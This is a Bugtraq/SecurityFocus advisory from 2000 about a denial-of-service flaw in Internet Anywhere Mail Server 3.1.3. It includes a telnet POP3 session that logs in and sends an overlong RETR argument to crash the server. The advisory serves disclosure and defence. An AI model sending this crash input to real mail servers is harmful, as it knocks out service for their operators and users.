Internet Anywhere Mail Server RETR DoS Vulnerability

Bugtraq ID:	982
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	Yes
Published:	Feb 10 2000 12:00AM
Updated:	Feb 10 2000 12:00AM
Credit:	Posted on Bugtraq February 10, 2000 by Nobuo Miwa <[email protected]>.
Vulnerable:	True North Software Internet Anywhere Mail Server 3.1.3 - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0
Not Vulnerable:

Internet Anywhere Mail Server RETR DoS Vulnerability

Submitting a RETR command with a message ID argument longer than 10 numeric characters will result in a crash of the Internet Anywhere Mail Server. A Doctor Watson error message will appear reporting an access violation by MailServer.exe. Restarting the mail server will resume functionality. This denial of service attack does not affect other running programs, and requires the attacker to have a valid username and password on the POP3 server.

Internet Anywhere Mail Server RETR DoS Vulnerability

telnet target 110
+OK POP3 Welcome to someco.com using the Internet Anywhere Mail Server Version:3.1.3. Build: 1065 by True North Software, Inc. <[email protected]>
user username
+OK valid
pass password
+OK Authorized
RETR 11111111111

Internet Anywhere Mail Server RETR DoS Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Internet Anywhere Mail Server RETR DoS Vulnerability

References:

• Internet Anywhere Mail Server Product Webpage (True North Software)